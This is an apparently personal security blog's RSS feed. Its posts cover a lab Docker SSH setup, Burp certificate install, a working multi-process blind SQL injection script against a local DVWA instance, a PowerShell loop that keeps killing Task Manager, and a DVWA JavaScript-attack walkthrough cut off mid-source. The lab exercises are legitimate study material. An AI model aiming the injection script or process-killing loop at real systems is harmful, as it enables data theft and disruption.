      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>https://github.com/CasearF/Xiaomi-Mall-Home<br>
小米商城首页（Someone's practical training assignment）</p>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/web">web</category>
        </item>
        <item>
            <title><![CDATA[vscode连接docker查看代码]]></title>
            <link>https://www.casear.net/post/26</link>
            <guid>https://www.casear.net/post/26</guid>
            <pubDate>Thu, 06 Jun 2024 11:57:49 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>安装及配置容器</h1>
<p><strong>拉取镜像</strong>，这里使用的是<a href="https://github.com/webpwnized/mutillidae">OWASP Mutillidae II 靶场</a></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker pull citizenstig/nowasp
</code></pre>
<p><strong>启动容器</strong>，在启动容器的时候要使用<code>-p</code>参数来提前映射好所需的端口。这里映射了正常的80端口和额外的10008端口，10008端口用来充当docker内部的ssh的端口</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker run -d -p 80:80 -p 10008:10008 citizenstig/nowasp
</code></pre>
<p><strong>查看容器状态</strong>，使用<code>docker ps</code>或<code>docker ps -a</code></p>
<p><img src="https://img.casear.net/img/7f2b480b164190ea541be9c9c1d3323e.image.webp" alt="image.png"></p>
<p><strong>设置docker和指定容器自启动</strong></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment">#设置docker自启动</span>
systemctl <span class="hljs-built_in">enable</span> docker
<span class="hljs-comment">#设置容器自启动</span>
docker update --restart=always &lt;容器<span class="hljs-built_in">id</span>&gt;
</code></pre>
<p><strong>进入容器</strong>,<code>docker exec -it &lt;容器id&gt; /bin/bash</code></p>
<p><img src="https://img.casear.net/img/6fe80b960cde1d1f372e95407fded586.image.webp" alt="image.png"></p>
<p><strong>安装ssh</strong>,更新软件包和安装ssh</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>apt-get update
apt-get install openssh-server openssh-client ssh vim
</code></pre>
<p><strong>修改ssh信息</strong>，以对应启动容器时映射的端口</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment">#修改ssh的配置文件</span>
vim /etc/ssh/sshd_config
</code></pre>
<p>在<strong>sshd_config</strong>修改以下内容</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>
<span class="hljs-comment">#修改端口为映射的端口</span>
Port 10008
<span class="hljs-comment">#允许root用户使用ssh登录</span>
PermitRootLogin <span class="hljs-built_in">yes</span>
</code></pre>
<p><strong>重启ssh服务</strong></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>/etc/init.d/ssh restart
</code></pre>
<p><strong>设置密码</strong></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>passwd root
</code></pre>
<p><strong>设置自启动ssh</strong></p>
<p>打开文件/root/.bashrc<code>vim /root/.bashrc</code><br><br>
在<code>.bashrc</code>末尾添加<code>service ssh start</code></p>
<h1>使用vscode配置</h1>
<p>在vscode主页面 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mstyle mathcolor="red"><mi>c</mi><mi>t</mi><mi>r</mi><mi>l</mi></mstyle></mrow><annotation encoding="application/x-tex">\color{red}{ctrl}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.69444em;"></span><span class="strut bottom" style="height:0.69444em;vertical-align:0em;"></span><span class="base textstyle uncramped"><span class="mord mathit" style="color:red;">c</span><span class="mord mathit" style="color:red;">t</span><span class="mord mathit" style="margin-right:0.02778em;color:red;">r</span><span class="mord mathit" style="margin-right:0.01968em;color:red;">l</span></span></span></span> + <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mstyle mathcolor="red"><mi>s</mi><mi>h</mi><mi>i</mi><mi>f</mi><mi>t</mi></mstyle></mrow><annotation encoding="application/x-tex">\color{red}{shift}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.69444em;"></span><span class="strut bottom" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="base textstyle uncramped"><span class="mord mathit" style="color:red;">s</span><span class="mord mathit" style="color:red;">h</span><span class="mord mathit" style="color:red;">i</span><span class="mord mathit" style="margin-right:0.10764em;color:red;">f</span><span class="mord mathit" style="color:red;">t</span></span></span></span>  + <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mstyle mathcolor="red"><mi>p</mi></mstyle></mrow><annotation encoding="application/x-tex">\color{red}{p}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.43056em;"></span><span class="strut bottom" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="base textstyle uncramped"><span class="mord mathit" style="color:red;">p</span></span></span></span><br>
<img src="https://img.casear.net/img/37f90406c69c35f7351a01974a213587.image.webp" alt="image.png"><br>
选择自己的配置文件，不知道选哪个就第一个</p>
<p><img src="https://img.casear.net/img/a1f71ce8f0fcac4462556671ea8fb518.image.webp" alt="image.png"></p>
<p>在文件中添加</p>
<p><img src="https://img.casear.net/img/25b759358dd7aa0c43b4274d8c5db5b5.image.webp" alt="image.png"></p>
<pre><code class="language-模板">Host &lt;name&gt;
  HostName &lt;服务器IP&gt;
  Port 10008
  User root
  ForwardAgent yes
</code></pre>
<p>完成后即可正常使用</p>
<p><img src="https://img.casear.net/img/7bdab04446443d1a853530c48e2143f2.image.webp" alt="image.png"></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[使用Hexo生成大量页面时卡死问题解决]]></title>
            <link>https://www.casear.net/post/25</link>
            <guid>https://www.casear.net/post/25</guid>
            <pubDate>Wed, 29 May 2024 13:05:03 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>Hexo 生成网页时文件打开数量限制问题解决方案</h1>
<p>最近在尝试使用Hexo做一些简单的网页，如<a href="http://qwerty.casear.cn/">Casear的信息安全周刊</a>。但昨天想起来<a href="https://linux.cn/">linux中国</a>归档了全部文章的标准数据集，其中正好有标准的 Markdown 格式的数据，而Hexo正是使用Markdown来生成页面的，就简单尝试了一下。</p>
<p>但在实际生成的时候经常会报 <code>EMFILE: too many open files</code> 和 <code>ERROR Process failed</code>，这意味着你的应用程序已经打开了太多的文件，超出了操作系统允许的数量限制。查阅教程后发现Linux可以临时增加限制，但windows需要修改注册表，感觉windows上的有点麻烦。但实际操作后发现这两种方法都没有什么实质性改变。</p>
<h2>在Linux系统中，可以通过以下命令临时增加文件打开的限制：</h2>
<pre><code>ulimit -n 4096
</code></pre>
<h2>在Windows系统中，通常需要修改系统注册表来增加文件打开的限制</h2>
<p>但如果使用的是较新的Windows版本（如Windows 10或Windows 11），可以尝试使用 Set-ItemProperty 命令来修改限制：</p>
<pre><code>Set-ItemProperty -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem&quot; -Name &quot;LongPathsEnabled&quot; -Value 1
</code></pre>
<p>后来查询Hexo的官方文档后发现了 <code>-c</code> 参数，命令：在生成博客的时候，使用参数 <code>-c</code>，代表生成博客时线程的数量。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>hexo g -c 8
</code></pre>
<p>使用-c参数后速度和稳定性也会大幅增加，生成基本是一遍过</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[DVWA--SQL Injection(Blind)（盲注Python脚本）]]></title>
            <link>https://www.casear.net/post/24</link>
            <guid>https://www.casear.net/post/24</guid>
            <pubDate>Fri, 31 May 2024 14:04:13 GMT</pubDate>
            <description><![CDATA[<p>加入多线程&amp;多进程</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>加入多线程&amp;多进程</p>
<!-- more -->
<h2>新版本</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-keyword">import</span> concurrent.futures
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> bs4 <span class="hljs-keyword">import</span> BeautifulSoup


<span class="hljs-keyword">def</span> <span class="hljs-title function_">run_code</span>(<span class="hljs-params">demot</span>):
    texterr = <span class="hljs-string">&quot;User ID is MISSING from the database.&quot;</span>
    base_url = <span class="hljs-string">&quot;http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/&quot;</span>
    session_id = <span class="hljs-string">&quot;8tuabbh2e1oiv0c2flpn3jbvk4&quot;</span>

    params = {<span class="hljs-string">&quot;id&quot;</span>: demot, <span class="hljs-string">&quot;Submit&quot;</span>: <span class="hljs-string">&quot;Submit&quot;</span>}
    cookies = {<span class="hljs-string">&quot;PHPSESSID&quot;</span>: session_id, <span class="hljs-string">&quot;security&quot;</span>: <span class="hljs-string">&quot;low&quot;</span>}

    response = requests.get(base_url, params=params, cookies=cookies)
    <span class="hljs-built_in">print</span>(response.status_code)

    soup = BeautifulSoup(response.text, <span class="hljs-string">&quot;html.parser&quot;</span>)
    search_results = soup.find_all(<span class="hljs-string">&quot;pre&quot;</span>)
    <span class="hljs-built_in">print</span>(search_results)
    <span class="hljs-built_in">print</span>(demot)
    <span class="hljs-keyword">for</span> result <span class="hljs-keyword">in</span> search_results:
        text = result.text.strip()
        <span class="hljs-built_in">print</span>(text)
        <span class="hljs-keyword">if</span> (text != texterr) <span class="hljs-keyword">and</span> (<span class="hljs-string">&quot;User ID exists in the database.&quot;</span> <span class="hljs-keyword">in</span> text):
            <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;example.txt&quot;</span>, <span class="hljs-string">&quot;a&quot;</span>) <span class="hljs-keyword">as</span> file:
                file.write(demot + <span class="hljs-string">&quot;\n&quot;</span>)


<span class="hljs-comment"># 多线程运行</span>
<span class="hljs-comment"># if __name__ == &quot;__main__&quot;:</span>
<span class="hljs-comment">#     demots = list(range(1, 200))  # 保存所有需要运行的demot</span>
<span class="hljs-comment">#     max_threads = 10  # 最大线程数</span>
<span class="hljs-comment">#     with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:</span>
<span class="hljs-comment">#         for i in range(1, 6):</span>
<span class="hljs-comment">#             for demo in range(1, 128):</span>
<span class="hljs-comment">#                 demot = f&quot;1&#x27; and (select ascii(substr((select table_name from information_schema.tables where table_schema=&#x27;dvwa&#x27; limit 0,1),{i},1)) = {demo}) #&quot;</span>
<span class="hljs-comment">#                 executor.submit(run_code, demot)</span>


<span class="hljs-comment"># 多进程</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:
    max_processes = <span class="hljs-number">60</span>
    <span class="hljs-keyword">with</span> concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) <span class="hljs-keyword">as</span> executor:
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">6</span>):
            <span class="hljs-keyword">for</span> demo <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">128</span>):
                <span class="hljs-comment"># demot = f&quot;1&#x27; and (select ascii(substr((select table_name from information_schema.tables where table_schema=&#x27;dvwa&#x27; limit 0,1),{i},1)) = {demo}) #&quot;</span>
                demot = <span class="hljs-string">f&quot;1&#x27;and ord(substr(database(),<span class="hljs-subst">{i}</span>,1))= <span class="hljs-subst">{demo}</span> #&quot;</span>
                executor.submit(run_code, demot)

</code></pre>
<h2>旧版本</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> bs4 <span class="hljs-keyword">import</span> BeautifulSoup

texterr = <span class="hljs-string">&quot;User ID is MISSING from the database.&quot;</span>
base_url = <span class="hljs-string">&quot;http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/&quot;</span>
session_id = <span class="hljs-string">&quot;sb35jegkjt33kjgovvptbua022&quot;</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">5</span>):
    <span class="hljs-keyword">for</span> demo <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">128</span>):
        demot = <span class="hljs-string">f&quot;1&#x27; and ord(substr(database(), <span class="hljs-subst">{i}</span>, 1)) = <span class="hljs-subst">{demo}</span> #&quot;</span>
        params = {<span class="hljs-string">&quot;id&quot;</span>: demot, <span class="hljs-string">&quot;Submit&quot;</span>: <span class="hljs-string">&quot;Submit&quot;</span>}
        cookies = {<span class="hljs-string">&quot;PHPSESSID&quot;</span>: session_id, <span class="hljs-string">&quot;security&quot;</span>: <span class="hljs-string">&quot;low&quot;</span>}

        response = requests.get(base_url, params=params, cookies=cookies)

        soup = BeautifulSoup(response.text, <span class="hljs-string">&quot;html.parser&quot;</span>)
        search_results = soup.find_all(<span class="hljs-string">&quot;pre&quot;</span>)
        <span class="hljs-keyword">for</span> result <span class="hljs-keyword">in</span> search_results:
            text = result.text.strip()
            <span class="hljs-built_in">print</span>(demot)
            <span class="hljs-keyword">if</span> (text != texterr) <span class="hljs-keyword">and</span> (<span class="hljs-string">&quot;User ID exists in the database.&quot;</span> <span class="hljs-keyword">in</span> text):
                <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;example.txt&quot;</span>, <span class="hljs-string">&quot;a&quot;</span>) <span class="hljs-keyword">as</span> file:
                    file.write(demot + <span class="hljs-string">&quot;\n&quot;</span>)
                <span class="hljs-keyword">break</span>

</code></pre>
<ol>
<li>导入了requests和BeautifulSoup模块，分别用于发送HTTP请求和解析HTML页面。<br></li>
<li>定义了一个错误信息变量texterr，以及目标网站的基本URL和会话ID。<br></li>
<li>使用嵌套循环，遍历数据库名称1-4的ASCII码。<br></li>
<li>构造Payload字符串demot，然后将其作为参数发送到目标网址。<br></li>
<li>从响应中解析出页面内容，然后在页面中查找包含响应文本的标签（pre）的内容。<br></li>
<li>检查每个找到的结果，如果文本不等于错误信息并且包含指定提示，则将查询字符串写入到文件&quot;example.txt&quot;中，并且停止当前循环。<br></li>
<li>由于在实际测试中测试Payload会返回一个404响应，但其并不影响页面的返回，故没有设置检查响应码</li>
</ol>
<p>:::info{title=&quot;相关信息&quot;}<br>
新版本使用了<code>concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor </code>创建了一个进程池执行器（ProcessPoolExecutor），设置最大工作进程数为<code>max_processes</code></p>
<p>来达到加速测试的效果<br>
:::<br>
以下是对python的多线程和多进程的优劣关系和应用场景的解释</p>
<h2>多线程（Threading）</h2>
<h3>优点：</h3>
<ul>
<li><strong>轻量级</strong>：线程的创建和销毁比进程快，资源消耗较少。</li>
<li><strong>共享内存</strong>：线程间可以共享内存，数据传输简单。</li>
<li><strong>I/O密集型</strong>：如果爬虫主要受限于网络I/O，多线程可以有效地利用等待时间来执行其他任务。</li>
</ul>
<h3>缺点：</h3>
<ul>
<li><strong>全局解释器锁（GIL）</strong>：Python的CPython实现中的GIL限制了同一时间只能有一个线程执行，这意味着多线程并不能有效利用多核CPU进行并行计算。</li>
<li><strong>资源限制</strong>：操作系统对线程的数量有限制，过多的线程可能导致效率降低。</li>
</ul>
<h2>多进程（Multiprocessing）</h2>
<h3>优点：</h3>
<ul>
<li><strong>绕过GIL</strong>：每个进程有自己的Python解释器和内存空间，可以绕过GIL的限制，实现真正的并行执行。</li>
<li><strong>CPU密集型</strong>：如果爬虫任务是CPU密集型的，多进程可以更好地利用多核处理器。</li>
<li><strong>稳定性</strong>：进程间相互独立，一个进程崩溃不会影响其他进程。</li>
</ul>
<h3>缺点：</h3>
<ul>
<li><strong>资源消耗</strong>：进程的创建和销毁比线程慢，消耗的资源更多。</li>
<li><strong>进程间通信（IPC）</strong>：进程间需要通过IPC进行通信，这比线程间共享内存复杂。</li>
<li><strong>数据共享</strong>：进程间共享数据不如线程间方便，需要使用特定的IPC机制。</li>
</ul>
<h2>选择建议：</h2>
<ul>
<li><strong>I/O密集型任务</strong>：如果爬虫主要受限于网络请求和响应时间，多线程可能更合适，因为它可以更有效地利用等待时间。</li>
<li><strong>CPU密集型任务</strong>：如果爬虫涉及到大量的数据处理，多进程可能更合适，因为它可以利用多核CPU进行并行处理。</li>
<li><strong>爬虫规模</strong>：对于大规模的爬虫，多进程可能更有利于扩展和管理。</li>
<li><strong>开发和维护成本</strong>：多线程相对简单，但多进程虽然复杂但更稳定。</li>
</ul>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Python">Python</category>
        </item>
        <item>
            <title><![CDATA[burpsuite ca证书安装]]></title>
            <link>https://www.casear.net/post/23</link>
            <guid>https://www.casear.net/post/23</guid>
            <pubDate>Sat, 04 May 2024 16:35:12 GMT</pubDate>
            <description><![CDATA[<p><img src="https://casear.net/static/img/53ba9b06e3bdb49c5e6422e7d31ebef4.image.webp" alt=""></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://casear.net/static/img/53ba9b06e3bdb49c5e6422e7d31ebef4.image.webp" alt=""></p>
<!-- more -->
<h1>burpsuite ca证书安装</h1>
<p>使用Burp Suite做安全测试时，要抓取HTTPS的包的话，是需要有Burp Suite的CA证书的，否则浏览器不支持。<br><br>
首先要把Burp Suite的CA证书下载到本地<br><br>
Burp Suite是自带CA证书的，有两种方法把CA证书下载到本地</p>
<h2>通过浏览器访问https://burp，下载证书<br></h2>
<ul>
<li>
<pre><code>先使用FoxyProxy启用代理，让Burp Suite能抓到浏览器的数据包才能访问https://burp
</code></pre>
<img src="https://img.casear.net/img/9d8457cae24a6ad3e2e91901cd72e78d.image.webp" alt="image.png"></li>
<li>点击 <code>CA Certificate</code>即可下载<br>
<img src="https://casear.net/static/img/53ba9b06e3bdb49c5e6422e7d31ebef4.image.webp" alt=""></li>
</ul>
<h2>第二种方法则是直接从Burp Suite中导出证书</h2>
<p>点开代理设置<br><br>
<img src="https://img.casear.net/img/d73d6495b7c6e2e53dfb1761bf67c6cf.image.webp" alt="image.png"><br><br>
选择导入/导出ca证书选项<br>
<img src="https://img.casear.net/img/2519d93752a208e00f56ea0acdc24ffc.image.webp" alt="image.png"><br><br>
选择导出dra格式的证书<br></p>
<p><img src="https://img.casear.net/img/0c8a5738b02b172e748cc314baec461e.image.webp" alt="image.png"><br><br>
接下来就是选择导出路径和文件名了<br><br>
<img src="https://casear.net/static/img/b16f895291fd00be4faa1107ca2d4e9f.image.webp" alt=""></p>
<h2>接下来就是在浏览器中导入证书了</h2>
<p>在浏览器设置中搜索证书<br>
<img src="https://img.casear.net/img/a156a4fc6c19c8409c35e0cd9b7f3c77.image.webp" alt="image.png"><br>
打开证书管理器<br>
<img src="https://img.casear.net/img/9f589e79db47403185344e4da4e2776b.image.webp" alt="image.png"><br>
选择导入并信任证书即可<br>
<img src="https://img.casear.net/img/e2e6169da28a28d94ae905a0328f1f49.image.webp" alt="image.png"></p>
<p>导入成功后再抓https的包就不会报错了</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/web安全">web安全</category>
        </item>
        <item>
            <title><![CDATA[powerShell script]]></title>
            <link>https://www.casear.net/post/22</link>
            <guid>https://www.casear.net/post/22</guid>
            <pubDate>Thu, 02 May 2024 16:18:48 GMT</pubDate>
            <description><![CDATA[<p>轮询关闭进程<br>
如果在死循环中不断查找任务管理器进程，发现它在运行就把它关闭，就可以做一个小小<br>
的“病毒”。代码很简单，基本上一下子就能看懂。一开始我没有加 Sleep，然后 CPU 使用<br>
率飚的非常高，加了之后基本上对电脑性能没有影响了。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-variable">$process_name</span> = <span class="hljs-string">&quot;taskmgr&quot;</span>
<span class="hljs-keyword">while</span> (<span class="hljs-variable">$true</span>) {
 <span class="hljs-variable">$processes</span> = Get-Process
 <span class="hljs-keyword">if</span> (<span class="hljs-variable">$processes</span>.Name -contains <span class="hljs-variable">$process_name</span>) {
 Get-Process <span class="hljs-variable">$process_name</span>|Stop-Process
 }
 <span class="hljs-keyword">else</span> {
 Start-Sleep -Milliseconds 500
 }

}
</code></pre>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>轮询关闭进程<br>
如果在死循环中不断查找任务管理器进程，发现它在运行就把它关闭，就可以做一个小小<br>
的“病毒”。代码很简单，基本上一下子就能看懂。一开始我没有加 Sleep，然后 CPU 使用<br>
率飚的非常高，加了之后基本上对电脑性能没有影响了。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-variable">$process_name</span> = <span class="hljs-string">&quot;taskmgr&quot;</span>
<span class="hljs-keyword">while</span> (<span class="hljs-variable">$true</span>) {
 <span class="hljs-variable">$processes</span> = Get-Process
 <span class="hljs-keyword">if</span> (<span class="hljs-variable">$processes</span>.Name -contains <span class="hljs-variable">$process_name</span>) {
 Get-Process <span class="hljs-variable">$process_name</span>|Stop-Process
 }
 <span class="hljs-keyword">else</span> {
 Start-Sleep -Milliseconds 500
 }

}
</code></pre>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/	web安全">	web安全</category>
        </item>
        <item>
            <title><![CDATA[DVWA靶场--JavaScript Attacks (前端攻击)]]></title>
            <link>https://www.casear.net/post/20</link>
            <guid>https://www.casear.net/post/20</guid>
            <pubDate>Wed, 03 Apr 2024 08:52:09 GMT</pubDate>
            <description><![CDATA[<h1>JavaScript Attacks (前端攻击)</h1>
<p>The attacks in this section are designed to help you learn about how JavaScript is used in the browser and how it can be manipulated. The attacks could be carried out by just analysing network traffic, but that isn't the point and it would also probably be a lot harder.<br></p>
<blockquote>
<p>本章节中的攻击旨在帮助您了解如何在浏览器中使用 JavaScript 以及如何对其进行操作，攻击可以通过分析网络流量来实现，但这不是本章节的重点而且可能要困难得多。<br></p>
</blockquote>
<p>Simply submit the phrase &quot;success&quot; to win the level. Obviously, it isn't quite that easy, each level implements different protection mechanisms, the JavaScript included in the pages has to be analysed and then manipulated to bypass the protections.<br></p>
<blockquote>
<p>只需提交单词 “success” 即可攻击成功，显然这并不是那么容易。每个级别都实现了不同的保护机制，页面中包含的JavaScript必须经过分析，然后才能绕过保护。<br></p>
</blockquote>
<p><img src="https://img.casear.net/img/2fbfdc136f7dd0e3c6c39454a087ee8e.image.webp" alt="image.png"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h1>JavaScript Attacks (前端攻击)</h1>
<p>The attacks in this section are designed to help you learn about how JavaScript is used in the browser and how it can be manipulated. The attacks could be carried out by just analysing network traffic, but that isn't the point and it would also probably be a lot harder.<br></p>
<blockquote>
<p>本章节中的攻击旨在帮助您了解如何在浏览器中使用 JavaScript 以及如何对其进行操作，攻击可以通过分析网络流量来实现，但这不是本章节的重点而且可能要困难得多。<br></p>
</blockquote>
<p>Simply submit the phrase &quot;success&quot; to win the level. Obviously, it isn't quite that easy, each level implements different protection mechanisms, the JavaScript included in the pages has to be analysed and then manipulated to bypass the protections.<br></p>
<blockquote>
<p>只需提交单词 “success” 即可攻击成功，显然这并不是那么容易。每个级别都实现了不同的保护机制，页面中包含的JavaScript必须经过分析，然后才能绕过保护。<br></p>
</blockquote>
<p><img src="https://img.casear.net/img/2fbfdc136f7dd0e3c6c39454a087ee8e.image.webp" alt="image.png"></p>
<!-- more -->
<h1>Low</h1>
<h2>源码</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>	<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;low_js&quot;</span> <span class="hljs-attr">method</span>=<span class="hljs-string">&quot;post&quot;</span>&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;token&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;token&quot;</span> /&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">&quot;phrase&quot;</span>&gt;</span>Phrase<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span> 
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;phrase&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;ChangeMe&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;phrase&quot;</span> /&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;submit&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;send&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;send&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;Submit&quot;</span> /&gt;</span>
	<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">

<span class="hljs-comment">/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
这里是一个md5编码的函数
*/</span>

!<span class="hljs-keyword">function</span>(<span class="hljs-params">n</span>){<span class="hljs-string">&quot;use strict&quot;</span>;<span class="hljs-keyword">function</span> <span class="hljs-title function_">t</span>(<span class="hljs-params">n,t</span>){<span class="hljs-keyword">var</span> r=(<span class="hljs-number">65535</span>&amp;n)+(<span class="hljs-number">65535</span>&amp;t);<span class="hljs-keyword">return</span>(n&gt;&gt;<span class="hljs-number">16</span>)+(t&gt;&gt;<span class="hljs-number">16</span>)+(r&gt;&gt;<span class="hljs-number">16</span>)&lt;&lt;<span class="hljs-number">16</span>|<span class="hljs-number">65535</span>&amp;r}<span class="hljs-keyword">function</span> <span class="hljs-title function_">r</span>(<span class="hljs-params">n,t</span>){<span class="hljs-keyword">return</span> n&lt;&lt;t|n&gt;&gt;&gt;<span class="hljs-number">32</span>-t}<span class="hljs-keyword">function</span> <span class="hljs-title function_">e</span>(<span class="hljs-params">n,e,o,u,c,f</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">t</span>(<span class="hljs-title function_">r</span>(<span class="hljs-title function_">t</span>(<span class="hljs-title function_">t</span>(e,n),<span class="hljs-title function_">t</span>(u,f)),c),o)}<span class="hljs-keyword">function</span> <span class="hljs-title function_">o</span>(<span class="hljs-params">n,t,r,o,u,c,f</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">e</span>(t&amp;r|~t&amp;o,n,t,u,c,f)}<span class="hljs-keyword">function</span> <span class="hljs-title function_">u</span>(<span class="hljs-params">n,t,r,o,u,c,f</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">e</span>(t&amp;o|r&amp;~o,n,t,u,c,f)}<span class="hljs-keyword">function</span> <span class="hljs-title function_">c</span>(<span class="hljs-params">n,t,r,o,u,c,f</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">e</span>(t^r^o,n,t,u,c,f)}<span class="hljs-keyword">function</span> <span class="hljs-title function_">f</span>(<span 